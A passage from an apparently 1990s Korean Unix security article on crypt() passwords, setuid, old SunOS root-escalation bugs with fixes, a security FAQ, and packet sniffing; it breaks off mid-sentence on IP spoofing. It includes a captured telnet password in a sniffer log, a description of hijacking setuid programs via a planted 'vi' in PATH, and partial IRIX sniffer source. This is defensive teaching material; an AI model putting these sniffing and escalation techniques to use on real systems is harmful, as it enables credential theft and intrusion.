두번의 실행결과를 비교해 보자. 공통점은 입력한 글쇠중에서 끝에서 두번째부터의 글씨는 다음 줄의
암호화된 부분에 그대로 찍혀 나오고 나머지 부분은 알아보지 못하게 변형되어 나온 것을 알 수 있다.
위의 예에서 입력한 단어 iakasbells의 마지막 두 글자 ls와 다음에 변형된 단어 lsDy0cB/5/zho>의 첫
ls와 같다.

이 마지막 두 글자들을 key character(혹은 salt)라고 한다. 이런 방식으로 로그인네임을 입력한 후
패스워드를 입력하면 맨 마 지막의 두번째 글자들을 가지고 입력한 패스워드를 암호화하게 되고 이
암호화한 자료를 가지고 /etc/passwd와 내용을 비교하여 옳다면 로그인에 성공하게 되는 것이다.

보통 패스워드는 8자를 기준으로 하기 때문에 패스워드로 입력한 글자수와 마지막 두 글자가 중요한
의미를 갖게 된다. 앞 절에 서도 말했지만 충분히 추측할 수 있는 패스워드를 사용하면 곤란하다. 또
/etc/passwd 파일로부터 패스워드를 추측해 주는 툴들( Crack 이라든지 Cops)을 사용해 알아낼 수도
있다.

이 툴들은 자신들의 독특한 알고리즘을 사용하는데, 이를 테면 사전에 나오는 단어들이나, ID를 뒤집어
대입해본다든지, 패스워 드 파일에서 알아낸 자료들을 대입해본다든지 하는 방법이다. 물론 대입을 할
때에는 crypt() 함수를 이용해 encrypt(암호화)한 다음 이 결과를 /etc/passwd 파일에 있는 두번째 field인
변형된 부분과 계속비교해 맞는지를 확인해내게 된다.

이런 이유로 인해 흔히 일상에서 쓰는 단어들은 적발될 우려가 높은데, 좋지 않은 패스워드로서 다음과
같은 사례를 들 수 있다 .

좋지않은 패스워드의 예

  * ID와 같은 password
  * 사용하는 시스템의 이름
  * 컴퓨터 호스트의 이름
  * 영어사전에 나오는 단어 (boss , world .... )
  * 전화번호
  * 생일
  * 키보드위의 같은 선상에 있는 글쇠들의 연속.(qwert,asdf .....)
  * 동일한 글자의 연속 (11111, eeeee .... )
setuid란 무엇인가?

/etc/passwd의 소유주는 분명히 호스트 관리자(root)이다. 또한 우리는 패스워드를 바꾼 다음 변경된
내용을 /etc/passwd 파일 에 저장을 하고 있다. 이상하지 않은가? 보통의 예라면 permission denied 라는
눈에 익은 메시지가 떠야 할 텐데 말이다. 여기 에 아주 중요한 내용이 담겨 있다. 바로 setuid라는
것이다. 다음을 수행시켜 보자.

    % ls -al /bin/passwd
    rwsr-xr-x 2 root 512 Jan 11 12:31 passwd
앞에서 설명이 잘 됐겠지만 setuid bit로서 s가 표시돼 있음을 알 수 있다. 이는 이 프로그램이 실행되는
동안은 루트의 권한을 가질 수 있게 되며 프로그램이 끝남과 동시에 이 권한은 사라지게 된다. 그런
이유로 패스워드를 이용해 /etc/passwd 파일을 우 리가 바꿀 수 있는 것이다.

우리는 이런 setuid를 많이 이용하고 있다. 로그인 프롬프트가 나왔을 때 우리는 생각없이 로그인을
하지만 내부에서는 상당히 복잡한 구동이 이뤄지고 있다. 우선 login 이라는 메시지 다음에 들어오는
사용자의 ID를 읽어 들인다.

그리고 패스워드를 읽어 들이는데 읽어들인 패스워드를 crypt() 함수를 이용해 암호화시킨다. 이
암호화된 패스워드를 /etc/pas sword(Shadowing passwd 인 경우는 다른 파일 이를테면 passwd.adjunct
같은 다른 파일을 참조한다.)의 두번째 field와 비교해 같으면 올바른 패스워드를 입력했으므로 login을
허가해준다. 다시 ls /bin/login을 해보면 알겠지만 이 login도 root 소유의 se tuid bit가 붙은 파일이다.

여기서 알아둬야 할 점은 패스워드를 확인할 때 /etc/passwd 파일의 두 번째 field를 풀어서 입력된
패스워드와 맞춰 보는 게 아니라는 점이다. 이런 decrypt 함수는 없으며 알고리즘도 존재치 않는다. 이로
인해 불완전하지만 유닉스의 보안이 이뤄지고 있 는 것이다.

또한 앞에서 이야기했지만 루트 소유이고 setuid가 실행되는 동안은 시스템관리자의 권한을 갖는다고
했다. 우리는 이것을 보고 effective uid라고 한다. 해커들은 이런 루트 소유의 setuid bit 파일들을
실행시키는 동안 인터럽트를 걸 수 있는 쉘 스크립 트라든가 툴을 이용해 이 파일들의 실행을 중지시킨
상태로 있게 한다. 즉 root의 권한을 가진 채로 있도록 하는 것이다. 이런 식으로 해 root의 권한을
불법적으로 획득하는 것이 대부분의 해킹방법이다.
과거의 해킹 유형들
예전에는 주로 네트워크상이나 로컬 호스트상에서 config uration이 잘못된 것을 이용해 관리자의
권한을 얻는 초보적인 해킹이 많았다. 즉, OS를 인스톨하면 프로그램들의 퍼미션이 적절 히 조정
안돼있는 경우가 많은데, 이를 악용해 호스트 관리자만이 보고 쓸 수 있는 파일도 마음대로 조작하는
경우가 예전의 해 킹 유형이었다. 또한 웃지 못할 얘기로 해킹시도를 해도 계속 실패하게 되자, 기계를
들고 훔쳐 달아난 도둑해커(?) 도 있다.

기초 지식을 알았다면 예전에 있었던 해킹유형과, 예전의 버그들을 살펴보자. 물론 언론매체의 성격상
현재 가장 심각한 홀(보 안구멍)들은 싣지 않았다. 또한 분량상 수많은 버그들중 극히 일부분만을
다루었다.

/usr/local/bin/sysinfo version 1.0.0 의 버그

유닉스 시스템에는 IFS(Internal File Seperator)라는 환경 변수가 있다. 이것이 shell 변수로 선언할 때
여러 문제를 일으키는 경우가 많다. IFS라는 환경변수를 내부 유저들이 마음대로 조작해 관리자의
권한을 얻어낼 수 있는데 이러한 유형의 해킹으로 는 loadmodule 해킹, expreserve 해킹, rdist 해킹 등이
있다. 이는 단순히 쉘 변수중 IFS를 /로 선언하고 (쉘마다 다르겠지만 예를 들어 csh 이라면 % setenv
IFS /) 몇가지 트릭을 통해 일반유저들이 쉽게 root의 권한을 가질 수 있게 된다.

해결책 : sysinfo 버전 2.0.6 을 구해서 새로 인스톨 한다.

 rdist 버그

SunOS 4.1.2와 그 이전의 OS, A/UX 2.0.1, SCO 3.2v4.2, BSD NET/2 계열 Systems 또는 BSD
rdist를 지원하는 대부분의 시스템에 서 /usr/ucb/rdist나 /usr/bin/rdist는 보안에 문제가 되는 버그를
가지고 있다.

rdist는 popen(3) 이라는 내부 시스템 함수(C function)을 이용해 해킹을 하게 된다. 이때 해킹을 위해
이용하는 sendmail 이란 프로그램은 root 의 권한을 갖고 실행이 되게 된다. 이 역시 setuid 때문인데
이를 악용하여 어떤 유저라도 root 가 될 수 있다 .

해결책 : SunOs의 Patch-ID# 100383-06 의 패치를 가져와서 설치하면 해결이 된다. 또는 rdist의
기능을 없애기 위해 setuid bi t를 제거하거나 퍼미션을 0으로 해버린다.
 
autoreply 버그

/usr/local/bin/autoreply는 elm 패키지의 설치에서 부수적으로 따라나오는 프로그램이다. elm의 버그는
모든 OS에서 공통적으 로 지적되는 문제점이다. 따라서 이 버그는 대다수의 해커들에게 대단한
사랑(?)을 받았던 버그이다. 이 버그는 또한 OS에 관계 없이 Elm Mail System을 쓰기만 하면 보안의
헛점을 가지게 된다는 데에서 주목할 만하다. 역시 setuid의 수행중 인터럽트를 걸 어 root의 권한으로
프로그램이 작동하는 상태에서 자신이 원하는 작업을 수행하도록 조작한다. 이를 이용해 원하는 곳에
임의의 파일을 기록할 수 있다. 이를 이용해 root 디렉토리에 .rhosts에 조작을 하는 경우가 대부분이다.

해결책 : 현재로서의 가장 좋은 해결책은 아예 autoreply의 퍼미션을 0으로 주어 사용을 못하게 해버리는
것이다. 하지만 퍼미 션을 666으로 두는 것도 안전하다.

binmail(/usr/bin/mail)의 버그

이는 썬 OS 4.1.x의 버전에서 적용되는 버그이다. 이는 파일 시스템의 어느 곳에라도 임의의 파일을
생성시킬 수 있어서 일반 유저들이 root가 될 수 있다. 이 버그는 /var/spool/mail의 디렉토리 퍼미션이
rwxrwxrwt(혹은 rwxrwxr-x)로 모든 유저에게 쓰기 권한이 허가돼있기 때문에 야기됐던 버그이다.

해결책 : 1. vendor 들에게서 patch 를 구한다.
2. 가장 이상적으로 해결을 하는 것은 mail spool 디렉토리의 쓰기 권한을 아예 없애버리는 것이나, 이
쓰기 권한이 없다면 elm이나 /bin/mail, /usr/ucb/Mail 을 사용할 수 없게 된다.

passwd(/usr/bin/passwd)의 버그
 
/bin/passwd -F의 버그라고도 하는 이것은 SunOS 4.1.x의 기종에서 해당되는 버그이다. 어떠한 일반
유저라도 위의 버그를 이 용해, 임의의 파일(물론 공격을 목적으로 하므로 / 디렉토리의 .rhosts를
생성시키는 것이다.)을 생성해 이는 파일이 생성되기를 원하는 디렉토리에 symbolic link를 걸어놓고
자신이 만들고 싶은 파일을 이 곳으로 링크시켜버리는 방법을 이용하는 것이다.
 
해결책: 1. 벤더들에게서 패치(버그 수정 프로그램)를 구하도록 한다.
2. passwd의 실행파일에서 -F 옵션을 삭제해 간단히 패치할 수 있다.

SunOS 4.X.X /usr/lib/sendmail의 버그
 
흔히 SMTP(Simple Mail Transfer Protocol)의 버그라고 불리기도 하는 것이다.전자우편 시스템은
외부망과의 연결에 필수적인 유틸리티로서 BSD 유닉스에는 우편의 배달과 수신을 담당하는 sendmail
프로그램이 있는데 이 프로그램의 구 버전에는보안상의 문제를 가지고 있다. 이것은 자신의 호스트의
25번 포트를 열어 보아 버그가 있는지 확인을 해 보아야 한다. 현재 BSD 8.6.4 버 전은 이 문제점이 있는
것으로 드러났다. 이미 Worm 에서 심각한 보안문제를 일으킨 바 있으므로 최신의 버전으로 바꾸어 주기
바란다.

해결책 : sendmail 한글 버전을 인스톨하면 된다. sendmail 한글 버전은
ftp://cair-archive.kaist.ac.kr/pub/hangul/mail 에서 구할 수 있다.
 
1) telnet <호스트 이름> 25를 해서 자신의 호스트에 설치된 sendmail 의 버전
을 확인한다.
 
2) /etc/aliases나 /usr/ucb/aliases에서 'decode'를 제거한다.

    % cat /etc/aliases
    decode: "|/usr/bin/uudecode"
위와 같이 되어 있을 때는 위 문장을 주석 처리해준다.

올바른 예

    # cat /etc/aliases
    ...
    #decode: "|/usr/bin/uudecode"
3) 프로그램에 메시지를 보내는 경우 쉘 명령을 보내는 방법을 사용하지 않도록
한다.
 
4) sendmail.cf 에서 'wizard' 패스워드를 사용하지 않는다.
 
5) sendmail 에서 'debug' 명령을 이용하지 않는다,
 
다음을 참조하도록 한다.

    baikdu % telnet localhost 25
    Connected to localhost.
    Escape character is '^]'.
    220-baikdu.kaist.ac.kr Sendmail 8.6.9H1/Baikdu_KAIST_CSH ready at Thu, 16 Mar
    1995
    00:58:23 +0900
    220 ESMTP spoken here
    debug
    500 Command unrecognized
    wiz
    500 Command unrecognized
    kill
    500 Command unrecognized
    quit
    221 baikdu.kaist.ac.kr closing connection
    Connection closed by foreign host.
   
만일 'debug'에 '200 Debug set'으로 응답한다면 새 버전으로 교체하기 바란다.

tftp 버그

tftp(Trivial ftp)는 디스크 없는 워크스테이션들의 네트워크 부트기능으로 유저데이터그램 방식의
접속없는 프로토콜을 이용한 다. 이는 단순한 프로토콜이므로 보안상의 헛점을 가지고 있다. tftp 설치를
잘못해놓았을 경우 외부의 해커가 tftp를 이용해 /e tc/passwd 파일을 가져갈 수가 있다. 자신의
호스트에 설치된 tftp가 안전한지를 get /etc/passwd를 이용해 확인해보기 바란다.

    [baram-sakai 193 ] tftp baram.kaist.ac.kr
    tftp> status
    Connected to baram.kaist.ac.kr.
    Mode: netascii Verbose: off Tracing: off
    Rexmt-interval: 5 seconds, Max-timeout: 25 seconds
    tftp> get /etc/passwd
    Error code 1: File not found
    tftp>
   
위와 같이 에러메시지가 뜨지 않는다면 설치가 잘못된 것이니 수정하기 바란다. 만일 쓰지 않는다면 아예
퍼미션을 0으로 두어 작동을 못하게 하든가 /etc/inetd.conf 를 다음과 같이 둔다.

    tftp dgram udp wait nobody /usr/etc/in.tftpd in.tftpd -s /tftpboot
TCP_WRAPPER를 사용하는 것도 많은 도움이 된다.
보안관련 FAQ
해커가 침입하기 가장 좋은 시기와 환경은?

전산망을 구성하는 네트워크의 끝에는 네트워크를 구성하기 위한 컴퓨터들(호스트)들이 붙어 있어야
하고 이 호스트들은 운영체 제를 돌리게 마련이다. 하지만 OS 는 인간이 짠 프로그램인 이상 버그가 있게
마련이고 이 버그로 말미암아 보안상의 문제가 유 발되는 것이다. 유닉스 시스템과 같이 멀티유저들이
사용하는 시스템은 보안상 완벽해질 수 없다는 것이 수학적으로 증명이 됐다 .

더군다나 이 호스트를 네트워크상에 연결해놓게 되면 더 문제가 일어나게 되는데,호스트 내부의 버그를
패치하지 않은채 네트워 크상에 올려 놓게 되면 '밥을 차려 놓았으니 밥을 먹도록 하시오'라고
해커들에게 내주는 셈이 된다. 그래서 가장 완벽하게 보안 을 유지하고 싶으면 네트워크에 올려놓기 전에
내부 홀(hole)을 완전히 패치를 하고, 그 다음에 네트워크에 연결해놓는 것이 좋 다.
 
OS를 갓 인스톨하고난 직후에는 OS의 버그들이 아직 남아 있는 상태여서 이 때 해커들에게 침입을 받게
되면 속수무책이 된다. 또한 불필요한 서비스를 많이 하는 경우 해커들이 침입을 하기 더 좋아지게
되므로, 가급적이면 불필요한 서비스는 하지 않는 것 이 좋다.(guest 아이디 제공이나 sonnim 아이디
제공 같은 경우)

보안을 강화해주는 도구에는 어떤 것이 있나 (혹은 보안을 자동화해주는 프로그램은?)
 
우선 보안을 자동화해주는 툴은 있을 수도 없고, 있어서도 안되고, 있지도 않다. 전세계적으로 컴퓨터
보안은 활발한 연구의 대상이 되고 있다. ftp://cert.org이나, ftp://coast.cs.purdue.edu 등에서 좋은
툴을 얻을 수 있고 또 KUS 팀 도 서서히 툴 개발을 시작하고 있다. 보안도구는 크게 점검도구와
감시도구로 나눠지는데 다시 로컬 호스트용과 네트워크용으로 나눌 수 있다.

    Local host check : cops, tiger, crack 
    monitor: tripwire, ttywatcher
    Network check : satan, iss, nfsbug, ypx 
    monitor: netlog
 해커가 컴퓨터에 침입하는 방법에는 어떤 것이 있나

    null & default passwd account or passwd guessing 
    tftp attack
    ethernet sniffing 
    /etc/hosts.equiv exploit (특히 SunOS 4.1.x)
    NFS mount attack
    NIS domain name guessing
    Sendmail Attack 
    X window System Attack
    WWW Attack
    NFS file handle guessing
    DNS hack
    IP Spoofing
    그외 다수(예: rexd, AIX rlogin -froot...)
해커가 슈퍼유저의 권리를 획득하는 방법에는 어떤 것이 있나.

OS마다 다르지만 대부분 허술한 set-user-id root 프로그램들을 이용한다.

SunOS 4.1.x를 예를 들어보면

 1. /usr/local/bin/autoreply
 2. /usr/ucb/rdist
 3. /bin/mail race
 4. /bin/passwd race
 5. /usr/openwin/bin/loadmodule
 6. sun sendmail 4.1
 7. sendmail 8.6.9 debug hole
위의 리스트는 일반적으로 잘 알려진 것들인데 그것들 말고도 suid root 프로그램들을 일단 모두
스캔해본 후 OS외에 다른 소 프트웨어 인스톨 과정에서 생긴 것이 있으면 system call들을 추적하며
조사한다. 혹, 소스 파일이 같이 있다면 좋다.
 
어느 suid root 프로그램의 소스 중에서..

    if (!(editor = getenv("EDITOR")))
        editor = "vi";
    if (fork())
        (void) wait(&junk);
    else
    {
        (void) execlp(editor, editor, fname, NULL);
        fprintf(stderr, "Whoops! Failed to exec %s\n", editor);
        exit(1);
    }
   
위의 경우라면 해커는 search path list에(current directory)를 맨 처음 놓고 루트 쉘을 만드는 vi 라는
자신의 프로그램을 만 든 후 위의 suid root 프로그램을실행시킨다. 그러면 루트 권한으로 해커의
프로그램이 실행되어 루트쉘이 만들어진다. /usr/openwin/bin/loadmodule, IRIX 4.0.x 의
/usr/lib/vadmin/serial_port 등을 그와 같은 조건을 이용해서 공격한다. 

컴퓨터에 침입자가 있는지 어떻게 파악하는가
 
관리자의 지속적인 관심이 중요하다. 늘 시스템 로그를 확인하고 파일 시스템을 모니터한다면
조금이라도 변화가 생기더라도 파악이 가능하다.
 
보안 관련 도구와 자료는 어디서 구할 수 있나

    http://www.cert.org
    http://www.8lgm.org
    http://www.cert-kr.or.kr
    news://comp.security.unix 
    ftp://ftp.cert.org
    ftp://coast.cs.purdue.edu
    ftp://ftp.cert-kr.or.kr
파이어월은 어느 선까지 신뢰할 수 있나

설치를 하는 사람의 보안 지식 및 파이어월 툴킷 매뉴얼에 대한 이해 정도에 따라 편차가 심하다.
상당수의 파이어월은 잘못 셋업된 채 운영된다. 

시스템 및 네트워크 모니터링으로 인한 성능저하와 개개인의 프라이버시 침해문제는
어떻게 해결하나?

시스템 모니터링으로 인한 성능 저하는 거의 없다고 보아도 좋다. 세션 모니터 툴인 ttywatcher나 파일
시스템 모니터 툴인 tri pwire는 관리자가 필요할 때 잠시 사용하거나 cron job으로 실행되기 때문에
별다른 영향이 없다. 그러나 네트워크 모니터링은 엄청난 성능 저하를 가져온다. 썬의 nit를 사용하면
필터 패턴에 따라 달라지긴 하지만 30~70%까지의 패킷 손실이 생기므로(spr ay했을 때) 네트워크쪽의
퍼포먼스가 많이 떨어진다. 그래서 tcpdump 3.0부터는 BPF(BSD Packet Filter)를 사용하여 스택
구조를 사용하는 Sun의 NIT보다는 10~150배, CSPF(CMU/Stanford Packet Filter) 보다는 1.5~20배
빠른 성능향상을 거두었다
개인의 프바이버시 침해 문제는 관리자의 도덕성에 달려 있는데 외국에서는 시스템, 혹은 시큐리티
관리자는 반드시 선서를 거 친다고 한다.
 
보안을 일방적으로 강화하다 보면 컴퓨터의 편리성이 떨어진다고 하는데, 어느 선까지
보안을 강화하는게 바람직한가.

일례로 X윈도우 시스템의 보안을 강화하는 것으로 MIT-MAGIC-COOKIE 라는 토큰방식을 이용한
xauth라는 프로그램이 있다. 그러 나 이것의 사용방법은 가히 살인적이다. X 애플리케이션을 실행할
때마다 일일이 토큰을 넘겨줘야 하기 때문이다. 따라서 적당 한 선이 중요하다. 그리고 그것은 컴퓨터의
중요성에 밀접한 관계가 있다. 국가 정보기관의 호스트와 인터넷 실습용으로 사용 하는 대학의 낡은
워크스테이션을 비교해서 생각하면 된다. 실제로 국내의 많은 대학의 호스트들은 전혀 보안이 고려되고
있지 않아서 초보 해커들의 좋은 연습 대상이 되기도 한다.

적당한 선을 실용적으로 규정지어 본다면 "관리자의 메일박스에 사용자들로부터의 불평과 불만 메일이
시스템 로그 리포 트 메일보다 더 많이 쌓이는 때이다"
최신 해킹 유형들
최근에는 해킹기술이 고도로 발달돼 예전에는 상상할 수도 없었던 고난도의 해킹 기술들이 존재하게
됐다. 예전에는 기껏해봐야 관리자의 실수나 OS에서 실수를 한 프로그램들을 악용해 관리자의 권한을
얻는 것이 고작이었지만, 이제는 네트워크 상을 흘러다니는 정보의 기본단위인 패킷(packet:
네트워크상에 정보 를 송수신할 때 가장 기본이 되는 정보단위)을 하나하나 조작해 해킹을 하게 됐다.

이런 고난도 해킹의 예는 패킷 스니퍼링(packet sniffing)과, IP 스푸핑(IP Spoofing: IP 사기치기),
NFS(Network File System) file handle guessing, dns server cache poisoning(네임 서버(IP 에 일대일
매치되는 네임 어드레스를 관리하는 호스트)에 잡 입해가짜 호스트들을 만들고 나오는 것) 등이 있는데
이중에서 스니퍼링과 스푸핑에 대해서만 다뤄 보기로 하자.

가장 심각한 해킹 기술, Sniffing

패킷들은 이더넷 케이블을 타고 전송이 된다. 이 패킷들은 어떤 유저가 어느 호스트에 로긴했다는
정보따위를 가지고 있는데, 이더넷 디바이스를 컨트롤해 흘러가는 패킷에서 원하는 정보인 유저들의
패스워드를 알아내는 것으로서 요즘 가장 심각한 문제가 되는 해킹 기술이다. 최근 해커들의 공격들의
통계를 내본 자료를 보면 스니핑에 의한 공격이 가장 많은 것으로 나타나고 있다.

스니퍼(Sniffer)란 무엇인가?

스니퍼는 네크워크의 한 호스트에서 실행되어 그 주위를 지나 다니는 패킷들을 엿보는 프로그램으로서
계정과 패스워드를 알아 내기 위해서 침입자들에 의해 자주 사용되는데 아무리 네트워크 보안에 신경을
쓴 호스트라도 주변의 호스트가 공격당해서 스니 핑을 위해 사용된다면 무력해질 수 밖에 없다. 이해를
돕기 위해 실제 스니핑 세션을 가지고 설명한다.

    mordor# ./sniffit
   
    Log started at => Mon Apr 8 20:29:04 [pid 10937]
   
    -- TCP/IP LOG -- TM: Mon Apr 8 20:29:44 --
    PATH: rohan.kaist.ac.kr(1270) => gondor.kaist.ac.kr(telnet)
    STAT: Mon Apr 8 20:29:48, 30 pkts, 77 bytes [TH_FIN]
    DATA: (255)(253)^C(255)(251)^X(255)(251)^_(255)(251)
    (255)(251)!(255)(251)"(255)(253)^E(255)(251)#(255)(251)$(255)(250)^X
        : IRIS-ANSI-NET(255)(240)(255)(253)^A(255)(252)^Aaragorn 
        : evenstar 
        : cls
        : du -s -k *
        : elm awen
    -- TCP/IP LOG -- TM: Mon Apr 8 20:31:57 --
    PATH: mordor.kaist.ac.kr(2389) => gondor.kaist.ac.kr(telnet)
    STAT: Mon Apr 8 20:32:24, 106 pkts, 128 bytes [DATA LIMIT]
    DATA:
    (255)(253)&(255)(251)&(255)(253)^C(255)(251)^X(255)(251)^_(255)(251)
    (255)(251)!(255)(251)"(255)(251)$(255)(253)^E(255)(251)#(255)(250)^_
        : P
        : ^X(255)(240)(255)(250) 
        : 9600,9600(255)(240)(255)(250)^X
        : XTERM(255)(240)(255)(253)^A(255)(252)^Agaladriel 
        : shwjdtjr=JD 
        : 
        : setenv DISPLAY rohan.kaist.ac.kr:0.0 
        : ne
위는 스니퍼 프로그램을 돌린 결과이다. gondor, mordor, rohan은 M학과의 전산실의 기계들인데 이미
침입자는 mordor에서 루트 권한을 따냈었고 스니퍼 프로그램을 실행시키고 있다(스니퍼가 동작하기
위해서는 네크워크 디바이스의 조작이 필요한데 이는 루트(시스템 관리자)만이 할 수 있다). 그렇다면
물리적인 네크워크 구도에서 인접해있는 호스트들은 모두 스니핑을 당하게 된다 .

처음 블럭에서 rohan에서 gondor로 aragorn이라는 계정으로 telnet 로긴을 한 것이 잡혔는데 이때
패스워드가 evenstar임을 알 수 있다. 그리고 로긴 직후에 실행한 몇몇 명령까지 잡혔다. 일반적으로
스니퍼 프로그램은 비교적 작은 크기의 제한된 버퍼를 사용하는데 필요에 따라 그것을 늘이기도 한다. 

이더넷의 설계상 약점과 네트워크 스니퍼의 원리

가장 일반적인 LAN의 구성 방법은 이더넷을 사용하는 것으로 주변에서 가장 쉽게 접하는 경우이다.
이더넷을 통한 통신 방법은 매우 간단하다. A라는 호스트가 B라는 호스트로 패킷을 보내고 싶다면
호스트 A는 B와의 배타적인 연결을 통하는 것이 아니라 그 패킷을 이더넷에 뿌린다. 그리고 그 패킷은
일반적으로 수신 주소의 호스트만이 받도록 기대된다. 즉 일반적으로 자신에게 오지 않는 패킷은 받지
않으므로 호스트 B만이 A가 보내는 패킷을 받게 된다.

그러나 그것은 기대 사항일 뿐 언제라도 깨어질 위험부담을 안고 있는 프로토콜이다. 네크워크
디바이스는 자신에게 오지 않고 다른 호스트를 향해 지나가는 패킷까지 받는 상태에 들어갈 수 있는데,
그때를 'Promiscuous mode'라고 부른다. 스니퍼는 바로 그 상태에서 동작한다. 이렇게 네트워크의
설계상의 커다란 약점이 있기 때문에 스니퍼에 의한 공격은 치명적이며 일부 OS를 제 외하고는
찾아내기가 곤란한 경우가 많고 막기 위해서도 많은 부담이 따른다.

스니퍼의 설계

스니퍼는 너무나 쉽고, 비열하게 해킹을 할 수 있기 때문에 해커들 간에서는 스니퍼를 이용하는 해커를
3류 취급해 상대도 하지 않는다. 이처럼 스니퍼는 해커들 사이에서조차 금기(?)시되는 치사한
프로그램이지만 그 자체로는 아주 훌륭한 네크워크 프로그 램이다. 실제로 대부분의 네트워크 분석
프로그램들은 Promiscuous mode에서 동작하며 또 그럴 수밖에 없다.

그리고 스니퍼의 핵심을 이루는 코드는 대부분의 OS에서 독립된 프로토콜로서 지원을 하는데 SunOS의
NIT, IRIX의 SNOOP이 좋은 예이다. 잘만 이용하면 침입자들을 상대하는 관리자들에게 큰무기가 될 수
있다. 네트워크를 감시하는 데 사용할 수 있다는 말 이다.

netlog(ftp://ftp.cert-kr.or.kr/pub/tools/etc/netlog/netlog-1.2.tar.gz)라는 좋은 툴이 이미 있다. 이
툴의 성격을 잘 말해주듯이 telnet과 ftp의 모듈은 제외돼 있다. 패스워드 스니핑에 사용되는 것을 막기
위함일 것이다.

스니퍼는 일반적으로 다음과 같은 일련의 동작을 하는 코드로 구성된다.

 1. 네트워크 디바이스를 열어서 Promiscuous mode로 만든다.
 2. 지나가는 모든 패킷을 읽는다.
 3. 패킷을 필터링해서 발신 및 수신 주소, 서비스(telnet, rlogin, ftp, smtp 등), 그리고 계정과
    패스워드가 포함된 데이터를 구분해서 출력한다.
3번의 기능을 하는 코드가 생략된 스니퍼 소스를 참고로 소개한다. IRIX에서 SNOOP을 사용해
제작되었다.

    /* sgisniff.c by poison@baikdu.kaist.ac.kr
    uses SNOOP(7P)
    tested on IRIX 5.2, 5.3 */
   
    #include <sys/types.h>
    #include <net/raw.h>
    #include <netinet/if_ether.h>
    #define ETHERHDRPAD RAW_HDRPAD(sizeof(struct ether_header))
   
    struct etherpacket {
        struct snoopheader snoop;
        char pad[ETHERHDRPAD];
        struct ether_header ether;
        char data[ETHERMTU];
    };
   
    main()
    {
        int s;
        struct sockaddr_raw sr;
        struct snoopfilter sf;
        struct etherpacket ep;
        int cc = 60000, on = 1;
        char buf[100];
        
        s = socket(PF_RAW, SOCK_RAW, RAWPROTO_SNOOP);
        sr.sr_family = AF_RAW;
        sr.sr_port = 0;
        strncpy(sr.sr_ifname, "ec0", sizeof sr.sr_ifname);
        bind(s, &sr, sizeof sr);
        memset((char *)&sf, 0, sizeof sf);
        ioctl(s, SIOCADDSNOOP, &sf);
        setsockopt(s, SOL_SOCKET, SO_RCVBUF, (char *) &cc, sizeof cc);
        ioctl(s, SIOCSNOOPING, &on);
        for (;;) {
            cc = read(s, (char *) &ep, sizeof ep);
            write(1, (char *)&ep, sizeof ep);
            sleep(2);
        }
    }
   
스니퍼, 그 대책과 예방

스니퍼 탐지

스니퍼는 Promiscuous mode에서 동작하기 때문에 네크워크 디바이스의 상태 플래그에 'PROMISC'가
있다면 일단 스니퍼가 돌고 있다고 생각해도 좋다. SunOS 4.1.x 같은 BSD 계열의 유닉스나 IRIX에서는
'ifconfig'를 사용해서 스니퍼의 존재를 확인할 수 있 으나 대부분의 다른 유닉스(특히 Solaris)에서는
그것이 불가능하다.

    [baikdu:/circ/kus/poison 2 ] uname -a
    SunOS baikdu 4.1.3-KL 3 sun4m
    [baikdu:/circ/kus/poison 3 ] ifconfig le0
    le0: flags=163<UP,BROADCAST,NOTRAILERS,RUNNING,PROMISC>
        inet 143.248.1.8 netmask ffffff00 broadcast 143.248.1.0
   
    [eru:/eldar/people/poison 16 ] uname -a
    IRIX eru 5.3 11091812 IP22 mips
    [eru:/eldar/people/poison 17 ] ifconfig ec0
    ec0:
    flags=d63<UP,BROADCAST,NOTRAILERS,RUNNING,PROMISC,FILTMULTI,MULTICAST>
        inet 134.75.100.53 netmask 0xffff0000 broadcast 134.75.255.255
SunOS 4.1.3, IRIX 5.3 에서 스니퍼 프로그램을 실행시키면서 ifconfig로 확인하면 다음과 같다.

두 기계에서 모두 flags를 나타내는 행에 'PROMISC'가 있는 것으로 스니퍼가 확인된다. SunOS
4.1.x에서 사용가능한 cpm이라는 프로그램이 있는데 ifconfig로 플래그를 조사하는 것과 같은 기능을
가진다. 일반적으로 스니퍼는 로그 파일을 만들어 데이터를 모은다. 따라서 그 로그 파일을 찾을 수
있으면 스니퍼를 찾기가 쉬어진다. 우선 다음과 같은 간단한 방법이 있다.

다른 호스트로 연결을 하면 스니퍼 로그 파일에 로그가 새로 만들어지게 되므로미리 만들어 두었던
/tmp/sniff_trap이란 파일을 기준으로 해 찾을 수가 있다. 단 빠른 결과를 위해 루트에서 프로세스의
우선권을 최대로 한다. 보다 확실히 하기 위해서 현재 열려져 있는 모든 파일의 리스트를 알 수 있다면 그
속에 스니퍼 로그 파일도 포함돼 있을 것이므로 스니퍼를 찾는데 도움이 된다.
lsof(ftp://ftp.cert-kr.or.kr/pub/tools/lsof) 이라는 툴의 사용을 권한다.

스니퍼 로그 파일을 찾아 없앴다면 스니퍼 프로세스를 찾도록 노력해본다. 시스템을 리부팅하면
되겠지만 그보다 침입자를 추적 하고 싶다면 그 프로세스를 직접 찾아내는 것이 바람직하다. 루트로
실행되고 있는 프로세스중에서 수상한 것들을 찾는다. ./a.out, ./in.telnetd, in.uucpd 등으로 숨겨지는게
보통인데 알아내기 어렵잖다.

    # touch /tmp/sniff_trap
    # telnet gondor.kaist.ac.kr
   
    SunOS UNIX (gondor)
   
    login: blah
    Password:
    Login incorrect
    login:^D
    Connection closed by foreign host.
    # nice -19 find / -newer /tmp/sniff_trap -print
   
BSD ps(/usr/ucb/ps)가 사용 가능하다면 e옵션을 추가해서 프로세스가 시작됐을 때의 환경변수를
알아내어 어떤 계정이 해킹에 사용됐는지를 알아낼 수 있다.

어떻게 예방해야 하나?

스니퍼에 대비하는 방법의 원칙은 패스워드가 네트워크를 통해 전달되지 않게 하는 것이다. 그것의
구현은 암호화를 이용하거나 (secure shell, kerberos) 패스워드를 대신하는 토큰을 이용(S/key)하는
것을 예로 들 수 있다. 그런 부류의 소프트웨어들은 상 당수가 제작돼있는데 그중 공개 소프트웨어인
ssh(Secure Shell: http://www.cs.hut.fi/ssh)이 사용하기에 가장 무난하다 . 이것은 패킷을 암호화해
sshd(서버)에게 보내는 ssh,scp(클라이언트)가 telnet, rlogin, ftp를 대신하는 패키지이다.

이제 좀더 고수준의 해킹 방법중의 하나인 spoofing에 대해서 알아보도록 하자.

IP 스푸핑이란?

spoof란 단어는 '속이다, 사기치다'는 뜻이다. 즉 쉽게 설명하면 해커가 머물러있는, 또는 단순히
악용하고자 하는 호스트의 IP 어드레스를 바꾸어서 이를 통해 해킹을 하는 것이다. 가령 A란 호스트와
